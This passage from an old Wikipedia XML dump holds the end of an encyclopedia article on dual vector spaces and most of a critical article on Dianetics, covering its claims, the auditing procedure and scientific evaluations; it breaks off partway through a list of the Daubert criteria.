If V is infinite-dimensional, then the above construction of ''e''&lt;sup&gt;''i''&lt;/sup&gt; does not produce a basis for V* and the dimension of V* is greater than that of V. Consider for instance the space '''R'''&lt;sup&gt;(&amp;omega;)&lt;/sup&gt;, whose elements are those [[sequence]]s of real numbers which have only finitely many non-zero entries (dimension is countably infinite). The dual of this space is '''R'''&lt;sup&gt;&amp;omega;&lt;/sup&gt;, the space of all sequences of real numbers (dimension is uncountably infinite). Such a sequence (''a''&lt;sub&gt;''n''&lt;/sub&gt;) is applied to an element (''x''&lt;sub&gt;''n''&lt;/sub&gt;) of '''R'''&lt;sup&gt;(&amp;omega;)&lt;/sup&gt; to give the number &amp;sum;&lt;sub&gt;''n''&lt;/sub&gt;''a''&lt;sub&gt;''n''&lt;/sub&gt;''x''&lt;sub&gt;''n''&lt;/sub&gt;.

=== Bilinear products and dual spaces ===

As we saw above, if V is finite-dimensional, then V is isomorphic to V*, but the isomorphism is not [[natural transformation|natural]] and depends on the basis of V we started out with.  In fact, any isomorphism &amp;Phi; from V to V* defines a unique non-degenerate [[bilinear form]] on V by

:&lt;math&gt; \langle v,w \rangle = (\Phi (v))(w) \,&lt;/math&gt; 

and conversely every such non-degenerate bilinear product on a finite-dimensional space gives rise to an isomorphism from V to V*.

=== Injection into the double-dual ===

There is a [[natural transformation|natural]] [[linear map|homomorphism]] &amp;Psi; from V into the double dual V**, defined by (&amp;Psi;(v))(&amp;phi;) = &amp;phi;(v) for all v in V, &amp;phi; in V*.  This map &amp;Psi; is always [[injective]]; it is an isomorphism if and only if V is finite-dimensional.

=== Transpose of a linear map ===

If &lt;math&gt;f: V \rightarrow W&lt;/math&gt; is a [[linear operator|linear map]], we may define its ''transpose'' (also known as a [[pullback]], denoted ''f''&lt;sup&gt;*&lt;/sup&gt;) &lt;math&gt;{}^t f: W^*\rightarrow V^*&lt;/math&gt; by 
:&lt;div style=&quot;vertical-align: 20%;display:inline;&quot;&gt;&lt;math&gt;
  {}^t f (\phi ) = \phi \circ f \,&lt;/math&gt;&lt;/div&gt; &amp;nbsp;&amp;nbsp; where &lt;math&gt; \phi &lt;/math&gt; is in &lt;math&gt;W*&lt;/math&gt;.
The assignment &lt;math&gt;f \mapsto \, ^t f&lt;/math&gt; produces an [[injective]] [[homomorphism]] between the space of linear operators from V to W and the space of linear operators from W* to V*; this homomorphism is an [[isomorphism]] [[iff]] W is finite-dimensional. If the linear map ''f'' is represented by the [[matrix_(mathematics)|matrix]] ''A'' with respect to two bases of V and W, then &lt;sup&gt;t&lt;/sup&gt;''f'' is represented by the [[transpose|transposed matrix]] &lt;sup&gt;t&lt;/sup&gt;''A'' with respect to the dual bases of W* and V*.
If ''g'': W &amp;rarr; X is another linear map, we have &lt;math&gt;{}^t(g \circ f) = {}^t f \, \circ \, {}^t g&lt;/math&gt;.
In the language of [[category theory]], taking the dual of vector spaces and the transpose of linear maps is therefore a [[contravariant functor]] from the category of vector spaces over F to itself.
Also, transposing twice gives the original map, to be more precise : 
&lt;math&gt;\psi_{W}(f(v))={}^t({}^t f) (\psi_{V}(v))&lt;/math&gt;


== Continuous dual space ==

When dealing with [[topological vector space]]s, one is typically only interested in the [[continuous function (topology)|continuous]] linear functionals from the space into the base field. This gives rise to the notion of the '''continuous dual space''' which is a linear subspace of the algebraic dual space. The continuous dual of a vector space ''V'' is denoted ''V''&amp;prime;. When the context is clear, the continuous dual may just be called the ''dual''. 

The continuous dual ''V''&amp;prime; of a [[normed vector space]] ''V'' (e.g., a [[Banach space]] or a [[Hilbert space]]) forms a normed vector space. The norm ||&amp;phi;|| of a continuous linear functional on ''V'' is defined by 
:&lt;math&gt;\|\phi \| = \sup \{ |\phi ( x )| : \|x\| \le 1 \}&lt;/math&gt;
This turns the continuous dual into a normed vector space, indeed into a Banach space so long as the underlying field is complete which is often included in the definition of the normed vector space.  In other words, the dual of a normed space over a complete field is necessarily complete.

For any ''finite-dimensional'' normed vector space or topological vector space, such as [[Euclidean space|Euclidean ''n''-space]], the continuous dual and the algebraic dual coincide. This is however false for any infinite-dimensional normed space, as shown by the example of [[discontinuous linear map]].

=== Examples ===

Let 1 &lt; ''p'' &lt; &amp;infin; be a real number and consider the Banach space [[Lp space|''L&lt;sup&gt;p&lt;/sup&gt;'']] of all [[sequence]]s '''a''' = (''a''&lt;sub&gt;''n''&lt;/sub&gt;) for which 
:&lt;math&gt;\|\mathbf{a}\|_p = \left ( \sum_{n=0}^\infty |a_n|^p \right) ^{1/p}&lt;/math&gt;
is finite. Define the number ''q'' by 1/''p'' + 1/''q'' = 1. Then the continuous dual of ''L&lt;sup&gt;p&lt;/sup&gt;'' is naturally identified with ''L&lt;sup&gt;q&lt;/sup&gt;'': given an element &amp;phi; &amp;isin; (''L&lt;sup&gt;p&lt;/sup&gt;'')', the corresponding element of ''L&lt;sup&gt;q&lt;/sup&gt;'' is the sequence (&amp;phi;('''e'''&lt;sub&gt;''n''&lt;/sub&gt;)) where '''e'''&lt;sub&gt;''n''&lt;/sub&gt; denotes the sequence whose ''n''th term is 1 and all others are zero. Conversely, given an element '''a''' = (''a''&lt;sub&gt;''n''&lt;/sub&gt;) &amp;isin; ''L&lt;sup&gt;q&lt;/sup&gt;'', the corresponding continuous linear functional &amp;phi; on ''L&lt;sup&gt;p&lt;/sup&gt;'' is defined by &amp;phi;('''b''') = &amp;sum;&lt;sub&gt;''n''&lt;/sub&gt; ''a''&lt;sub&gt;''n''&lt;/sub&gt; ''b''&lt;sub&gt;''n''&lt;/sub&gt; for all '''b''' = (''b''&lt;sub&gt;''n''&lt;/sub&gt;) &amp;isin; ''L&lt;sup&gt;p&lt;/sup&gt;'' (see [[Hölder's inequality]]).

In a similar manner, the continuous dual of ''L&lt;sup&gt;1&lt;/sup&gt;'' is naturally identified with ''L&lt;sup&gt;&amp;infin;&lt;/sup&gt;''. Furthermore, the continuous duals of the Banach spaces ''c'' (consisting of all [[limit (mathematics)|convergent]] sequences, with the supremums norm) and ''c''&lt;sub&gt;0&lt;/sub&gt; (the sequences converging to zero) are both naturally identified with ''L&lt;sup&gt;1&lt;/sup&gt;''.

=== Further properties ===

If ''V'' is a [[Hilbert space]], then its continuous dual is a Hilbert space which is anti-isomorphic to ''V''. This is the content of the [[Riesz representation theorem]], and gives rise to the [[bra-ket notation]] used by physicists in the mathematical formulation of [[quantum mechanics]].

In analogy with the case of the algebraic double dual, there is always a naturally defined injective continuous linear operator &amp;Psi; : ''V'' &amp;rarr; ''V''&amp;nbsp;&lt;nowiki&gt;''&lt;/nowiki&gt; from ''V'' into its continuous double dual ''V''&amp;nbsp;&lt;nowiki&gt;''&lt;/nowiki&gt;. This map is in fact an [[isometry]], meaning ||&amp;Psi;(''x'')|| = ||''x''|| for all ''x'' in ''V''. Spaces for which the map &amp;Psi; is a [[bijection]] are called [[reflexive space|reflexive]].

The continuous dual can be used to define a new topology on ''V'', called the [[weak topology]].

If the dual of ''V'' is [[separable space|separable]], then so is the space ''V'' itself. The converse is not true; the space ''l''&lt;sub&gt;1&lt;/sub&gt; is separable, but its dual is ''l''&lt;sub&gt;&amp;infin;&lt;/sub&gt;, which is not separable.

[[Category:Linear algebra]]
[[Category:Functional analysis]]
[[Category:Duality theories]]

[[de:Dualraum]]
[[es:Espacio dual]]
[[fr:Espace dual]]
[[it:Spazio duale]]
[[ja:双対ベクトル空間]]
[[zh:对偶空间]]</text>
    </revision>
  </page>
  <page>
    <title>Dianetics</title>
    <id>7989</id>
    <revision>
      <id>42094169</id>
      <timestamp>2006-03-03T20:07:34Z</timestamp>
      <contributor>
        <username>Antaeus Feldspar</username>
        <id>86720</id>
      </contributor>
      <comment>Calling this &quot;the single purpose&quot; makes it sound like it is the end goal, not a means to an end such as higher IQ, etc., and this is clearly not the case</comment>
      <text xml:space="preserve">{{ScientologySeries}}
{{otheruses4|the set of ideas and practices known as Dianetics|the book by L. Ron Hubbard first published in 1950|Dianetics: The Modern Science of Mental Health}}

'''Dianetics''' is a set of ideas about the nature and structure of the human mind, and a set of associated practices which attempt to treat physical and mental ailments. It was developed primarily by author [[L. Ron Hubbard]] starting in the late 1940s and was first presented to the general public in his 1950 book ''[[Dianetics: The Modern Science of Mental Health]]''. Hubbard characterized Dianetics as a revolutionary and scientifically developed alternative to conventional [[psychotherapy]] and [[psychiatry]]. He claimed that it could alleviate unwanted emotions, irrational fears and a wide range of illnesses that he regarded as being [[Psychosomatic illness|psychosomatic]]. Since 1952 the subject has centered around the idea of an individual creating his mind, and thus being able to resolve any conditions of his mind. Dianetics became the foundation for the religion Hubbard subsequently founded, [[Scientology]]. Today the [[Church of Scientology]] practices and sells modern Dianetics.
	
Dianetics has been highly controversial since its launch in 1950. It has been criticized as [[pseudoscience]] and [[quackery]] by professional scientists and members of the medical community, and it has achieved no recognition among the mainstream scientific community as a ''bona fide'' [[scientific theory]].  While many practitioners of Scientology testify that they have found Dianetics techniques to be personally effective, there is a lack of independently corroborated empirical evidence in mainstream scientific literature for Hubbard's claims and the effectiveness of his methods. The troubled histories of the organizations established to promote Dianetics have added to the controversy that surrounds Dianetics.

==Basic concepts of Dianetics==

Hubbard coined the name Dianetics from the [[Greek language|Greek]] stems ''dia'', meaning &quot;through,&quot; and ''nous'', meaning &quot;mind,&quot; resulting in a word similar to the already-existing Greek adjective ''dianoētik-os'' διανοητικ-ός, meaning &quot;mental&quot;. The suffix &quot;-etics&quot; may have been inspired by [[cybernetics]], a [[vogue idea]] at the time, or [[semantics]]. Hubbard placed Dianetics in the same class as both of these concepts and made an explicit connection between the three concepts, stating that Dianetics &quot;forms a bridge between the [other] two.&quot; &lt;ref&gt;Hubbard, &quot;[http://www.dianetics.org/en_US/l-ron-hubbard/articles/terra/ Terra Incognita: The Mind]&quot;, ''The Explorers Journal'', winter 1949 / spring 1950&lt;/ref&gt;

Dianetics is presented as a systematic method of identifying the causes of and relieving many of an individual's mental, emotional or (psychosomatically) physical problems. Hubbard described Dianetics as &quot;an organized science of thought built on definite axioms: statements of natural laws on the order of those of the physical sciences&quot;. &lt;ref&gt;Winter, J.A. ''Dianetics: A Doctor's Report'', p. 18 (Julian Press, 1987 reprint)&lt;/ref&gt;

According to Dianetics, the human mind may be considered as being made up of &quot;mental image pictures.&quot;  A mental image picture contains the many perceptions of a past moment, such as sounds, color, time of day and other perceptions.  For Dianetic's purposes these can be considered as literal pictures which can be viewed.  Dianetics focuses on one particular type of mental image picture that Hubbard called the [[engram (Dianetics)|engram]]. Engrams differ from other mental image pictures in that they contain unconciousness.  This unconciousness makes them unavailable as normal memories would be.  Engrams are painful memories that are not normally accessible to the consciousness of an individual.  Engrams are defined in Dianetics as &quot;a complete recording of a moment of [[unconsciousness]] containing physical pain or painful emotion and all perceptions.&quot; &lt;ref&gt; [[Dianetics: The Modern Science of Mental Health]] page 79 and Glossary &lt;/ref&gt;  The primary activity of Dianetics is to help a person bring these half-hidden, painful memories into full conscious view.  Hubbard dubbed the well-functioning conscious aspect of the mind the &quot;analytical mind,&quot; which is claimed to be a flawless machine akin to a perfectly functioning calculator.  The collection of mental engrams are stored in the unconscious &quot;[[reactive mind]]&quot; (or &quot;reactive bank&quot;). Engrams are claimed to be the source of virtually all mental and emotional troubles or &quot;aberrations.&quot;

With Dianetics, Hubbard claimed to have discovered the fundamental &quot;dynamic principal of existence,&quot; which he expressed as a command to life, to &quot;SURVIVE!&quot;  Hubbard proposed that physical or mental traumas caused &quot;aberrations&quot; in the mind, which produced adverse physical and emotional effects. He postulated that since pain was a threat to survival, the human mind sought to avoid it. Thus, in moments of stress the conscious &quot;[[analytical mind]]&quot; would shut down and create engrams that are stored in the normally inaccessible &quot;reactive mind&quot;. 

With the use of Dianetics techniques, Hubbard claimed, the reactive mind could be reached at will and all stored engrams could be purged. The  central technique was &quot;auditing,&quot; a two-person question-and-answer therapy designed to isolate and dissipate engrams (or &quot;mental masses&quot;).  A counselor called an auditor addresses a series of questions to a subject, observes and records the subject's responses, and returns repeatedly to memories or areas of discussion that appear to be fraught with pain or stress until such time that the troubling memory has been identified and satisfactorily confronted.  Through this method, the reactive mind could be &quot;cleared&quot; of its content; a person who had completed this process of &quot;clearing&quot; would be a &quot;[[Clear (Scientology)|Clear]]&quot;. 

The benefits of going &quot;Clear&quot; would be dramatic, according to Hubbard. A &quot;Clear&quot; would have no compulsions, repressions, pychoses or neuroses, and would enjoy a near-perfect memory as well as a rise in [[IQ]] of as much as fifty points. He also claimed that as much as seventy percent of illnesses were psychosomatic and could thus be cured by Dianetics. These included [[asthma]], poor [[eyesight]], [[color blindness]], [[deafness|hearing deficiencies]], [[stutter]]ing, [[allergy|allergies]], [[sinusitis]], [[arthritis]], [[high blood pressure]], [[heart disease|coronary trouble]], [[dermatitis]], [[ulcer]]s, [[migraine]], [[conjunctivitis]], [[morning sickness]], [[alcoholism]], [[tuberculosis]] and the [[common cold]], to which Clears would be immune. &lt;ref&gt;Hubbard, ''Dianetics: The Modern Science of Mental Health'', p. 125. New Era Publications, Copenhagen (1988)&lt;/ref&gt; Hubbard also claimed that [[atheism]], &quot;zealotism&quot; (by which he seems to have meant [[fundamentalism]]) and [[homosexuality]] could be &quot;cured&quot; through Dianetics, as they were all caused by engrams. &lt;ref&gt;Hubbard, &quot;Dianetics and Religion&quot;, ''Dianetic Auditor's Bulletin'' vol. 1 no. 4, October 1950&lt;/ref&gt;

Hubbard claimed that unlike conventional medical or mental therapies, Dianetics would work every time if applied properly and &quot;will invariably cure all psychosomatic ills and human aberrations.&quot;  In April 1950, before the public release of Dianetics, he wrote: &quot;To date, over two hundred patients have been treated; of those two hundred, two hundred cures have been obtained.&quot; &lt;ref&gt;Hubbard, &quot;Dianetics&quot;. ''Astounding Science Fiction'', May 1950.&lt;/ref&gt; Dianetics has been extensively advertized by the Church of Scientology as being able to effect physical cures. The Church's Dianetics website still includes claims that while a student seeks spiritual gain with Dianetics &quot;the arthritis vanishes, myopia gets better, heart illness decreases, asthma disappears, stomachs function properly and the whole catalog of ills goes away and stays away.&quot; &lt;ref&gt;[http://www.dianetics.org/html/opencms/cos/dianetics/en_US/info/01/pg003.html Dianetics.org]&lt;/ref&gt;

The best available total count of Clears in 2004 was 50,000, using analysis of official Scientology documents.&lt;ref&gt;[http://www.truthaboutscientology.com/stats/clears/ &quot;Scientology Clears - Scientology's Stats Are Down&quot;], TruthAboutScientology.com, Accessed [[01 March]] [[2006]]&lt;/ref&gt;

==Dianetics procedure in practice==

The procedure of Dianetics therapy &amp;ndash; known as ''auditing'', from the [[Latin language|Latin]] ''audire'', &quot;to listen&quot; &amp;ndash; is an activity undertaken by two people. One person, the &quot;auditor&quot;, guides the other person, the &quot;preclear&quot; (often also referred to by Hubbard as the &quot;patient&quot;), through a series of steps set out in ''[[Dianetics: The Modern Science of Mental Health]]'' and the accompanying ''Hubbard Dianetics Seminar'' work-book. The preclear's job is look at the mind and talk to the auditor. The auditor acknowledges what the preclear says, and controls the process so the preclear may put his full attention on a specific record of pain until he can be cheerful about it.

The auditor and preclear sit down in chairs facing each other. The process then follows in eleven distinct steps: &lt;ref&gt;This description is based on &quot;[http://www.rehabilitatenz.co.nz/pages/dianetics-auditing-steps.html The Dianetics® Procedure—10 Simple Steps]&quot;&lt;/ref&gt;

:1. The auditor assures the preclear that he will be fully aware of everything that happens during the session.

:2. The preclear is instructed to close his eyes for the session, entering a state of &quot;dianetic reverie&quot;, signified by &quot;a tremble of the lashes&quot;. During the session, the preclear remains in full possession of his will and retains full recall thereafter. 

:3. The auditor installs a &quot;canceller&quot;, an instruction intended to absolutely cancel any form of positive suggestion that could accidently occur. This is done by saying &quot;In the future, when I utter the word 'cancelled,' everything I have said to you while you are in a therapy session will be cancelled and will have no force with you. Any suggestion I may have made to you will be without force when I say the word 'cancelled.' Do you understand?&quot;

:4. The auditor then asks the preclear to locate an exact record of something that happened to the preclear in his past: &quot;Locate an incident that you feel you can comfortably face.&quot;

:5. The preclear is invited by the auditor to &quot;Go through the incident and say what is happening as you go along.&quot;

:6a. The auditor instructs the preclear to recall as much as possible of the incident, going over it several times &quot;until the preclear is cheerful about it&quot;. 

:6b. When the preclear is cheerful about an incident, the auditor instructs the preclear to locate another incident: &quot;Let's find another incident that you feel you can comfortably face.&quot; The process outlined at steps 5 and 6a then repeats until the auditing session's time limit (usually two hours or so) is reached.

:7. The preclear is instructed to &quot;return to present time&quot;.

:8. The auditor checks to make sure that the preclear feels himself to be in &quot;present time&quot;, i.e. not still recalling a past incident.

:9. The auditor gives the preclear the canceller word: &quot;Very good. Cancelled.&quot;

:10. The auditor tells the preclear to feel alert and return to full awareness of his surroundings: &quot;When I count from five to one and snap my fingers you will feel alert. Five, four, three, two, one.&quot; (Snap!)

Auditing sessions are kept confidential. However, a few published transcripts of auditing sessions have been published with no confidential information included, as demonstration examples and are available for review. Some extracts can be found in Dr. J.A. Winter's book ''Dianetics: A Doctor's Report''. Other, more comprehensive, transcripts of auditing sessions carried out by Hubbard himself can be found in volume 1 of the ''Research &amp; Discovery Series'' (Bridge Publications, 1980). Examples of public group processing sessions can be found throughout the Congress Lecture series.

According to Hubbard, undertaking this activity will enable the preclear to &quot;contact&quot; and &quot;release&quot; engrams stored in the reactive mind. This is said to relieve the preclear of the physical and mental aberrations attributed to the presence of those engrams. The engrams consist of any painful events such as accidents and injuries earlier in life, and may contain unfortunate phrases uttered by others in the preclear's presence. For instance, Winter cites the example of a preclear's persistent [[headache]]s supposedly being traceable to a doctor saying &quot;Take him now&quot; during the preclear's birth. &lt;ref&gt;Winter, ''Dianetics: A Doctor's Report'', p. 165&lt;/ref&gt;  Hubbard similarly claims that the cause of the blood cancer [[leukemia]] is traceable to &quot;an engram containing the phrase 'It turns my blood to water.'&quot; &lt;ref&gt;Hubbard, ''A History of Man'', p.20. American Saint Hill Organization, 1968&lt;/ref&gt; The preclear is asked to inspect and familiarize himself with the exact details of his own experience and the auditor may not tell him anything about his case or evaluate any of the information the preclear finds.  This is entirely up to the preclear.

The validity and practice of auditing have been questioned by a variety of non-Scientologist commentators. Commenting on the example cited by Winter, the science writer [[Martin Gardner]] asserts that &quot;nothing could be could be cleared from the above dialog than the fact that the dianetic explanation for the headache existed only in the mind of the therapist, and that it was with considerable difficulty that the patient was maneuvered into accepting it.&quot; &lt;ref&gt;Gardner, Martin. ''[http://www.xenu.net/archive/fifties/e520000.htm Fads and Fallacies in the Name of Science]''. Dover, 1957&lt;/ref&gt; 

Other critics and medical experts have suggested that Dianetic auditing is a form of [[hypnosis]]&lt;ref&gt;
&quot;[http://home.snafu.de/tilman/j/hypnosis.html Never believe a hypnotist]&quot;, Jon Atack&lt;/ref&gt; &lt;ref&gt;&quot;[http://www.holysmoke.org/cos/crime-syndicate-used-hypnosis-dublin.htm Psychologist says church appeared to use hypnosis]&quot;, ''Irish Times'', [[13 March]] [[2003]]&lt;/ref&gt; &lt;ref&gt;&quot;[http://lermanet.com/cisar/books/bdwopc2.htm The &quot;Scientology Organization&quot; (SO) as of July 2003]&quot;, chapter 2. Landesamt für Verfassungsschutz Baden-Wuerttemberg, 2003&lt;/ref&gt;, although the Church of Scientology has strongly denied that hypnosis forms any part of Dianetics. &lt;ref&gt;&quot;[http://www.scientology.org/en_US/news-media/faq/pg005.html What is auditing?]&quot;, Church of Scientology International&lt;/ref&gt; A further point advanced by critics is that those in a hypnotic state &amp;ndash; even only lightly so &amp;ndash; are more susceptible to suggestion. Winter [1950] comments that the leading nature of the questions asked of a preclear &quot;encourage fantasy&quot;, a common issue also encountered with hypnosis, which can be used to form [[False memory#discussion|false memories]]. The auditor is not supposed to make any assessment of whether a recalled memory is real or imaginary, or how accurate it is but seeks to treat it as if it were objectively real. Professor Richard J. Ofshe, a leading expert on false memories, suggests that the feeling of well-being reported by preclears at the end of an auditing session may be induced by post-hypnotic [[suggestion]] &lt;ref&gt;&quot;[http://www.piratehaven.org/~atman/factnet/cust1e3.txt A Very Brief Overview of Scientology]&quot;, Richard E. Ofshe, Ph.D.&lt;/ref&gt;

==Scientific evaluations==

Some of the [[psychometry|psychometric]] basis of Dianetics can be traced to the ideas of [[Sigmund Freud]], whom Hubbard credited as an inspiration and was said to have used as a source. &lt;ref&gt;Letter from John W. Campbell, cited in Winter, p. 3 - &quot;His approach is, actually, based on some very early work of Freud&quot;&lt;/ref&gt; Freud had speculated forty years previously that traumas with similar content join together in &quot;chains,&quot; embedded in the &quot;unconscious&quot; mind, causing irrational responses in the individual. According to Freud a &quot;chain&quot; would be relieved by inducing the patient to remember the earliest trauma, &quot;with an accompanying expression of emotion.&quot; &lt;ref&gt;Joseph Breuer and Sigmund Freud, &quot;Studies in Hysteria&quot;, Vol II of the ''Standard Edition of the Complete Psychological Works of Sigmund Freud''. Hogarth Press, London (1955).&lt;/ref&gt;

The scientific literature records very few scientific evaluations having been conducted into the effectiveness and theoretical basis of Dianetics. Professor John A. Lee states in his evaluation of Dianetics:

:Objective experimental verification of Hubbard's physiological and psychological doctrines is lacking. To date, no regular scientific agency has established the validity of his theories of prenatal perception and engrams, or cellular memory, or Dianetic reverie, or the effects of Scientology auditing routines. Existing knowledge contradicts Hubbard's theory of recording of perceptions during periods of unconsciousness. &lt;ref&gt;Lee, John A. ''Sectarian Healers and Hypnotherapy'', 1970, Ontario ([http://www.xenu.net/archive/audit/lee.html#evaluation Excerpt])&lt;/ref&gt;

Only two independent scientific studies are recorded in the [[MEDLINE]] database, both having been conducted in the 1950s by researchers at [[New York University]]:

* Harvey Jay Fischer tested Dianetics therapy against three claims made by proponents and found it does not effect any significant changes on intellectual functioning, mathematical ability, or upon the degree of personality conflicts. &lt;ref&gt;Fischer, Harvey Jay. &quot;Dianetic therapy: an experimental evaluation. A statistical analysis of the effect of dianetic therapy as measured by group tests of intelligence, mathematics and personality.&quot; Abstract of Ph.D. thesis, 1953, New York University ([http://home.snafu.de/tilman/krasel/dianetics_test2.html Excerpt])&lt;/ref&gt;

* Jack Fox tested Hubbard's thesis regarding recall of engrams, with the assistance of the Dianetic Research Foundation, and could not substantiate it. &lt;ref&gt;Fox, J.; Davis, A.E.; Lebovits, B. [http://home.snafu.de/tilman/krasel/dianetics_test.html &quot;An experimental investigation of Hubbard's engram hypothesis (dianetics)&quot;]. ''Psychological Newsletter'', New York University. 10 1959, 131-134&lt;/ref&gt;

The validity of these studies has been questioned by Dianetics advocates, who have criticized the qualifications and methodology of the authors.

Hubbard claimed, in an interview with the ''New York Times'' in November 1950, that &quot;he had already submitted proof of claims made in the book to a number of scientists and associations. He added that the public as well as proper organizations were entitled to such proof and that he was ready and willing to give such proof in detail.&quot; &lt;ref&gt;&quot;Psychologists Act Against Dianetics&quot;, New York Times,  [[September 9]] [[1950]]&lt;/ref&gt; Probably in fulfillment of this pledge, in January 1951 the Hubbard Dianetic Research Foundation of [[Elizabeth, NJ]] published ''Dianetic Processing: A Brief Survey of Research Projects and Preliminary Results''. This booklet, written by Dalmyra Ibanex, Gordon and Peggy Southon and Peggy Benton, provides the results of psychometric tests conducted on 88 people undergoing Dianetics therapy. It presents case histories and a number of X-ray plates to support claims that Dianetics had cured &quot;aberrations&quot; including [[manic depression]], asthma, arthritis, colitis and &quot;overt homosexuality&quot;. The report's subjects are not identified by name, but one of them is clearly Hubbard himself (&quot;Case 1080A, R. L.&quot;). &lt;ref&gt;Benton, P; Ibanex, D.; Southon, G; Southon, P. ''Dianetic Processing: A Brief Survey of Research Projects and Preliminary Results'', Hubbard Dianetic Research Foundation, 1951&lt;/ref&gt;

Data from the survey including a chart of the Wechsler IQ test results and why the test was selected for adults, were included in editions of Hubbard's book ''Science of Survival'' until about the 1970s. Its scientific validity was contested at the time. It was discussed in an article in the June/July 1951 issue of the ''Rhodomagnetic Digest'', a science fiction fanzine, which expresses doubts about the validity of the psychometric tests used, the presentation of the results and the selection of the test subjects. It comments that the booklet &quot;use[s] unrecognized tests in an unorthodox way, the results being presented in a doubtful fashion.&quot; &lt;ref&gt;Fabun, Don. &quot;An Analysis of the Dianetics Foundation Report&quot;, ''Rhodomagnetic Digest'', June/July 1951&lt;/ref&gt; 

The authors of the survey do not provide any details of their own qualifications, although they are described in ''Science of Survival'' as psychotherapists. They are clearly strong supporters of Dianetics, raising the question of possible bias (it certainly cannot be described as an ''independent'' report). Notably, they appear to ascribe all physical benefits to Dianetics without any consideration of whether other factors might have played a part; the report lacks any [[scientific control]]s, a key element of the [[scientific method]].

Several other evaluations of the scientific claims of Dianetics have been written by scientists and academics from various fields. Hubbard's book on Dianetics attracted some highly critical reviews from science and medical writers and organisations. &lt;ref&gt;Many of these are reproduced at http://www.xenu.net/archive/fifties/ &lt;/ref&gt; The American Psychological Association passed a resolution calling &quot;attention to the fact that these claims are not supported by empirical evidence of the sort required for the establishment of scientific generalizations.&quot; &lt;ref&gt;[http://www.xenu.net/archive/fifties/e500909.htm &quot;Psychologists Act Against Dianetics&quot;], ''New York Times'', [[September 9]] [[1950]]&lt;/ref&gt;

J.A. Winter, M.D., originally an associate of Hubbard and an early adopter of Dianetics, wrote an account of his personal positive experiences with Dianetics but offered no scientific substantiation, criticizing the Hubbard Dianetic Research Foundation for failing to undertake &quot;precise scientific research into the functioning of the mind&quot;. &lt;ref&gt;Winter, ''Dianetics: A Doctor's Report'', p. 40&lt;/ref&gt; Also writing at the time, Don Fabun commented that &quot;there do not seem to be any acceptable facts and figures to show the results of Dianetic processing. Like the famous &quot;clears&quot; -- who strangely enough are never available for public appearance nor for orthodox psychometric tests -- the facts behind Dianetics appear to remain in the realm of pure faith.&quot; &lt;ref&gt;Fabun, &quot;An Analysis of the Dianetics Foundation Report&quot;&lt;/ref&gt;

==Dianetics and pseudoscience==

Dianetics is regarded by mainstream science as a [[pseudoscience]] and has achieved no general acceptance as a ''bona fide'' [[scientific theory]], despite Hubbard's claims of scientific veracity. &lt;ref&gt;See e.g. [http://www.pubmed.gov PubMed] - other than a few reviews of Dianetics from 1950/51, Dianetics has barely been mentioned in medical journals.&lt;/ref&gt; For a theory to qualify as scientific it must be:

:* '''Consistent''' (internally and externally)
:* '''Parsimonious''' (sparing in proposed entities or explanations, see [[Occam's Razor]])
:* '''Useful''' (describes and explains observed phenomena)
:* '''Empirically testable &amp; falsifiable''' (see [[Falsifiability]])
:* '''Based upon multiple observations,''' often in the form of controlled, repeated experiments
:* '''Correctable &amp; dynamic''' (changes are made as new data are discovered)
:* '''Progressive''' (achieves all that previous theories have and more)
:* '''Provisional''' or tentative (admits that it might not be correct rather than asserting certainty) 

For any theory, hypothesis or conjecture to be considered scientific, it must meet most, but ideally all, of the above criteria. The fewer which are matched, the less scientific it is; and if it meets only a couple or none at all, then it cannot be treated as scientific in any meaningful sense of the word. &lt;ref&gt;Bunce, M. (1984). &quot;What is pseudoscience?&quot; ''Skeptical Inquirer'', 9, 36-46&lt;/ref&gt; Typical objections to defining Dianetics as science are that it lacks consistency, violates the principle of parsimony, is not falsifiable, is not empirically testable in many of its aspects, is not based upon multiple observations and is not correctable, dynamic, tentative or progressive.

Many scientific voices, from 1950 through to the present day, have criticized Dianetics as a classic [[pseudoscience]]&lt;ref&gt;See e.g. Gardner, ''Fads and Fallacies in the Name of Science''; Bauer, ''Scientific Literacy and the Myth of the Scientific Method'' and ''Science Or Pseudoscience: Magnetic Healing, Psychic Phenomena, and Other Heterodoxies''; Corsini ''et al'', ''The Dictionary of Psychology''.&lt;/ref&gt; Philosophy professor [[Robert Carroll]] points to a lack of scientific rigor and evidence:

:What Hubbard touts as a science of mind lacks one key element that is expected of a science: empirical testing of claims. The key elements of Hubbard's so-called science don't seem testable, yet he repeatedly claims that he is asserting only scientific facts and data from many experiments. It isn't even clear what such &quot;data&quot; would look like. Most of his data is in the form of anecdotes and speculations ... Such speculation is appropriate in fiction, but not in science. &lt;ref&gt;Carroll, Robert T. [http://skepdic.com/dianetic.html &quot;Dianetics&quot;], ''Skeptics Dictionary''&lt;/ref&gt;

[[W. Sumner Davis]] similarly comments that 

:Dianetics is nothing more than an example of pseudoscience trying to legitimize itself... Hubbard, had he indeed been a scientist, would have known that truth is not built on axioms, and facts cannot be found from some a-priori knowledge. A true science is constructed on hypotheses, which are arrived at by the virtue of observed phenomena. Scientific knowledge is gained by observation and testing, not believing from some subconscious stipulation, as Hubbard would have us believe. &lt;ref&gt;Davis, W. Sumner. ''Just Smoke and Mirrors: Religion, Fear and Superstition in Our Modern World'', Writers Club Press, 2001 (ISBN 0595265235)&lt;/ref&gt;

Modern [[cognitive science]] does not support Hubbard's concepts of engrams, mental image pictures and reactive minds. Unlike mainstream science, Dianetics does not appear to be correctable and dynamic. The book ''Dianetics: The Modern Science of Mental Health'' has not been updated since Hubbard wrote it in 1950 (although Hubbard did develop Dianetics further in later years). Moreover, the Church of Scientology has prohibited making changes to Hubbard's works even in the light of new data. In a [[1982]] directive, the Church of Scientology instructed that &quot;LRH ISSUES [''i.e. publications''] ARE TO BE LEFT INTACT AS ISSUED&quot; and &quot;no one except LRH&quot; was to change or cancel his publications. &lt;ref&gt;&quot;The Integrity of Source&quot;, Scientology Policy Directive 19 of [[July 7]] [[1982]]; cited in &quot;The Ultimate Spin Doctor: L. Ron Hubbard - The Man and His Myth&quot;, ''Watchman Expositor'' Vol. 13, No. 5, 1996&lt;/ref&gt; Hubbard died in [[1986]], making changes to his works unlikely unless there is a change of Church policy. The mere disproving of his ideas is ''not'' regarded as valid grounds for making a change; the same directive states that &quot;the only occasion for any revision of an LRH issue is if a typographical error was found in the original.&quot; In this regard, Dianetics is perhaps closer in character to a belief system than a genuine science or even a pseudoscience.

Dianetics also does not appear to meet the criteria for scientific evidence used by most [[United States]] courts, the [[Daubert Standard]]. The Daubert Standard governs which evidence can be considered scientific in federal courts and most state courts. The four Daubert criteria are:

